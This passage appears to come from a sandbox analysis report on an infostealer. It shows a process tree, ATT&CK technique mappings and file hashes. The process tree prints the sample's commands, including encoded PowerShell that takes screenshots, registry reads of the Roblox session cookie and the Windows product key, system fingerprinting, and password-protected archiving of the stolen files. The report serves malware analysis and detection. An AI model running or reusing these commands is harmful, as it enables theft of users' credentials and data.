AAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2224
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3664
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\yenfgmby\yenfgmby.cmdline"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2228
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES1AA2.tmp" "c:\Users\Admin\AppData\Local\Temp\yenfgmby\CSCFF0C3B4C00F47F9B3CFD6FA8B522186.TMP"
        6⤵
        
        PID:5224
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2912
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:5064
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2524
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:4104
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4840
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:2064
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2752
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:5164
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1160
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:3388
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "getmac"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1976
  - - C:\Windows\system32\getmac.exe
      getmac
      4⤵
      PID:1832
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2616
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:5464
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:916
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:5724
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI28802\rar.exe a -r -hp"123" "C:\Users\Admin\AppData\Local\Temp\cC0Bm.zip" *"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2016
  - - C:\Users\Admin\AppData\Local\Temp\_MEI28802\rar.exe
      C:\Users\Admin\AppData\Local\Temp\_MEI28802\rar.exe a -r -hp"123" "C:\Users\Admin\AppData\Local\Temp\cC0Bm.zip" *
      4⤵
      Executes dropped EXE
      PID:2844
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic os get Caption"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4432
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic os get Caption
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:2904
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
    3⤵
    - Executes a command shell one-liner
    PID:4656
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic computersystem get totalphysicalmemory
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:2716
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3816
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:1128
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3532
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:1364
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2312
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      Suspicious behavior: EnumeratesProcesses
      PID:756
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1940
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3268

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Clipboard Data

T1115

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 1bcb9feef511556b090a30e71021a664527e7ab7fb25b759f956faace8f8926d
MD5 f1012495bc6aad1683ea05ef8b2798b9
SHA1 e1b3bc40041635dcd01be5df47e7fd365c92324c
SHA512 02b3cc89a9007c0120a5115e1958da6c01f216768899038de0b2774321cf49bf306febbce54809989159f6afa8bb90c59f83cf539cd2339da23fa3b85c7757f2
TLSH
T12C216633B3CD8625D899403A40CEAC1037B6D7DB409ECE5BAB84D508B43F589CE601A0
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 e56f4a38e0c60f0196c589e1952198368a10927e65ff24d1476ffafc489657f4
MD5 78b9021e0576c01ec958b87ec52832c1
SHA1 76df758d602c2d4cc4a4bfa0f3b435cae1ed3ffa
SHA512 4402163ed9623a392f120417ea0b5049bf0d76b88dd7f4fc70428ef7e76601f25bd534ae916ed9daba859fb6308d6f370712985ccd165f6393dbce7c5c507514
TLSH
T11F216833F3DD8614C89A413A10CDAC1036B6C7DB41DECFAB7B84E655A43F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 58245b535bb164e85943800b4154e0128260c1a510da112294f1c53edfbfbf07
MD5 47ad9cc420da0514ba1b00c8644623c3
SHA1 ae21313963068b048e67ea7211e2e3b62269795b
SHA512 9aedb22199721ad446e49421651fbdb3e1799bac3d3fae2e8f09644b650ad99fa60b1055e7f5b210d51e587ee1f71ee50c95ba81700a59efeec033da62e9627f
TLSH
T16F216833B3DD8614C89A413A10CDAC1036B6C7DB41DECFAB7B84E655A43F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 f0c9afdda8d1b43c6167127fb46734226be0a76bd074f6a0af35524760839901
MD5 f3d098b0627082f5a2dc442f14a6f273
SHA1 be38bf543dde18d6c86ba2ef62a17c30faa16252
SHA512 2430ae9becfdf5cf4f5fefa9321599cbd378833e930b88d05b3bd9ad46fae4a967637ce55f72bb7f4e329d861004a027657bf7c7e7a13e0c91a7133e14294e3a
TLSH
T173215333F3CC8624CD9A403A50CEAC1036B687DB41DECEABBB84D155A43F699DE61260
MD5 SHA1 SHA512 TLSH

Submit Download

RES1AA2.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES1AA2.tmp
Size 1KB
SHA256 c8caf057a3837ade905634e1b424d90ab463f0a8e6b9bfd403397efaa1c31f17
MD5 fd30002053340ce29750c824e375a403
SHA1 0e75a4ed2746d04725cd797d86ab1f3543830d1b
SHA512 89d5e8528a8583a7e2c33c920352d8a73d1ffd51337d8799183dddc92a94e61b315aa887124f7abe2e1888f284f21d71f050e0d9dca6d9a08cb200b5503887ea
TLSH
T1A521AA0593E9431EF0B7673269FA036BA674FD54EF61A3AA4980422C2C51504EEE1BB2
MD5 SHA1 SHA512 TLSH

Submit Download

VCRUNTIME140.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI28802\VCRUNTIME140.dll
Size 106KB
SHA256 a8f950b4357ec12cfccddc9094cca56a3d5244b95e09ea6e9a746489f2d58736
MD5 4585a96cc4eef6aafd5e27ea09147dc6
SHA1 489cfff1b19abbec98fda26ac8958005e88dd0cb
SHA512 d78260c66331fe3029d2cc1b41a5d002ec651f2e3bbf55076d65839b5e3c6297955afd4d9ab8951fbdc9f929dbc65eb18b14b59bce1f2994318564eb4920f286
SSDEEP 1536:GcghbEGyzXJZDWnEzWG9q4lVOiVgXjO5/woecbq8qZHg2zuCS+zuecL:GV3iC0h9q4v6XjKwoecbq8qBTq+1cL
TLSH
T1A0B37C4A72A441F7C5AAD274C2E38A06FB71B541877093CF03B19A690F63BE15E3D356
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_bz2.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI28802\_bz2.pyd
Size 48KB
SHA256 1db14a217c5279c106b9d55f440ccf19f35ef3a580188353b734e3e39099b13f
MD5 554b7b0d0daca993e22b7d31ed498bc2
SHA1 ea7f1823e782d08a99b437c665d86fa734fe3fe4
SHA512 4b36097eddd2c1d69ac98c7e98eebe7bb11a5117249ad36a99883732f643e21ecf58e6bea33b70974d600563dc0b0a30bead98bafb72537f8374b3d67979e60a
SSDEEP 1536:MtiGgF1TxbYecfs2F876zpfImCVQj7SysPxJ:MkHz4LFPNImCVQjGxJ
TLSH
T1DD23D06386242C39ED239DB234C85C25EB30B9939850C3DF72AC91691F527417BE627E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_ctypes.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI28802\_ctypes.pyd
Size 58KB
SHA256 5ee40bcaab13fa9cf064ecae6fc0da6d236120c06fa41602893f1010efaa52fe
MD5 d603c8bfe4cfc71fe5134d64be2e929b
SHA1 ff27ea58f4f5b11b7eaa1c8884eac658e2e9248b
SHA512 fcc0dbfbe402300ae47e1cb2469d1f733a910d573328fe7990d69625e933988ecc21ab22f432945a78995129885f4a9392e1cee224d14e940338046f61abe361
SSDEEP 1536:/UOlRJUIp/i+OnIlnGgm5XVz4iImLPAf7SyNlPx:MOpnomlnGgoXVUiImLPAfPZx
TLSH
T1B643E1D642A5DC2CDC67CFB038D95825FD31B1A3C7B087D73289C22A6F6039256963B9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_decimal.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI28802\_decimal.pyd
Size 106KB
SHA256 677d9993bb887fef60f6657de6c239086ace7725c68853e7636e2ff4a8f0d009
MD5 9cef71be6a40bc2387c383c217d158c7
SHA1 dd6bc79d69fc26e003d23b4e683e3fac21bc29cb
SHA512 90e02054163d44d12c603debdc4213c5a862f609617d78dd29f7fd21a0bae82add4ceaf30024da681c2a65d08a8142c83eb81d8294f1284edfbeeb7d66c371c8
SSDEEP 3072:CNb2HcDjyP1iSYsEHOqLQb1H7wtDWPnyTm2GN4ImOqGCArxv:CNb2HeyiOrH0t6r2kC8
TLSH
T150B302C18376ACBCED77807232E11229FB7071A68850C7EB354DD216AF4538287E567B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_hashlib.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI28802\_hashlib.pyd
Size 35KB
SHA256 b7c9c540d54ab59c16936e1639c6565cd35a8ca625f31753e57db9cbd0ee0065
MD5 32df18692606ce984614c7efda2eec27
SHA1 86084e39ab0aadf0ecfb82ce066b7bf14152961e
SHA512 679f8956370edc4dee32475d8440a2d2f9b6dd0edd0e033e49fed7834a35c7ed51ccde0995d19ed0a559a4383b99ae8c11e4e686902db12a2a5e0a3f2c0f4a9d
SSDEEP 768:a91cXZ8iY8JshuVLX7lB6IKpp5rbImOIta5YiSyvCKPxWE9:ajSYZhuN3QlrbImOIt47Sy7Px
TLSH
T1F3F2C0A381B0B864CA224DB234D4D525F736785399938BE7314DC1BA4FD2782EFA5338
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_lzma.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI28802\_lzma.pyd
Size 85KB
SHA256 a201ec286b0233644ae62c6e418588243a3f2a0c5a6f556e0d68b3c747020812
MD5 01629284f906c40f480e80104158f31a
SHA1 6ab85c66956856710f32aed6cdae64a60aea5f0f
SHA512 107a4e857dd78dd92be32911e3a574f861f3425e01ab4b1a7580ac799dc76122ce3165465d24c34ac7fc8f2810547ad72b4d4ba3de76d3d61ed9bf5b92e7f7d4
SSDEEP 1536:TwZh3A5zFTPuztVVQW1AyOXEyvYsnHUZK+K+k6Vvt7v/8ImZ1Lw7SyYAPxx3:kvA5utzWfXE0V0ZK+K+Jt7vUImZ1Lwtx
TLSH
T1968302670278C08CD4679D7221E8A5A6E670FE73875283FB3254817B0FB33D19A5327A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_queue.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI28802\_queue.pyd
Size 25KB
SHA256 2163010bfde88a6cc15380516d31955935e243b7ad43558a89380bf5fe86337e
MD5 4a313dc23f9d0a1f328c74dd5cf3b9ab
SHA1 494f1f5ead41d41d324c82721ab7ca1d1b72c062
SHA512 42c712b758b35c0005b3528af586233298c2df4ed9f5133b8469bca9ec421ab151ce63f3929898c73d616cd9707594fa5f96d623fc150e214a4b2276c23c296e
SSDEEP 384:w0Psz9rLZgNhzHjlryUOy7s6Wp6hZa7gJXT7ImQUtNkHQIYiSy1pCQjtAPxh8E9s:GihFWRupD7ImQUtc5YiSyvxAPxWE9HJ
TLSH
T1D0C29EA342B8AC2CDD278EB134D44934FE30BDA7855183DB721C82764F6178267A2379
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_socket.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI28802\_socket.pyd
Size 43KB
SHA256 ddbfa852e32e20d67a0c3d718ce68e9403c858d5cad44ea6404aff302556aba7
MD5 67897f8c3262aecb8c9f15292dd1e1f0
SHA1 74f1ef77dd3265846a504f98f2e2f080eadbf58a
SHA512 200b6570db2fbb2eac7f51cae8e16ffb89cd46d13fba94a7729a675f10f4432fc89a256fd6bd804feac528191bd116407fd58a0573487d905fc8fca022c1abba
SSDEEP 768:EhFQ8MABQICFr2Tg+z2uPxYEV/WJqOxU/XNqppz7ImLwQFC5YiSyvLPxWE9dK:gTiFtipt/ML4NIz7ImLwQFg7SyTPxJK
TLSH
T16A13D0A743B05838DE374CB234E98D296F35F597899483D7329C81B64F513829FA23B9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_sqlite3.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI28802\_sqlite3.pyd
Size 56KB
SHA256 30a3bc9ed8f36e3065b583d56503b81297f32b4744bff72dcf918407978ce332
MD5 230025cf18b0c20c5f4abba63d733ca8
SHA1 336248fde1973410a0746599e14485d068771e30
SHA512 2c4d943c6587d28763cf7c21ad37cc4762674a75c643994b3e8e7c7b20576d5674cf700fdfaddc1a834d9bf034bf2f449d95351c236fde720505ccdd03369bb1
SSDEEP 1536:F1OB9LTyHEhkBFl837aWkbKlujFImOQAO7SyuWPxJ:i/LTyHRTU1kuluZImOQAOfxJ
TLSH
T1E443D0E303BAAC24D53B88B235C50C29E6717A7A5B21C3EB326D91760F707816F65379
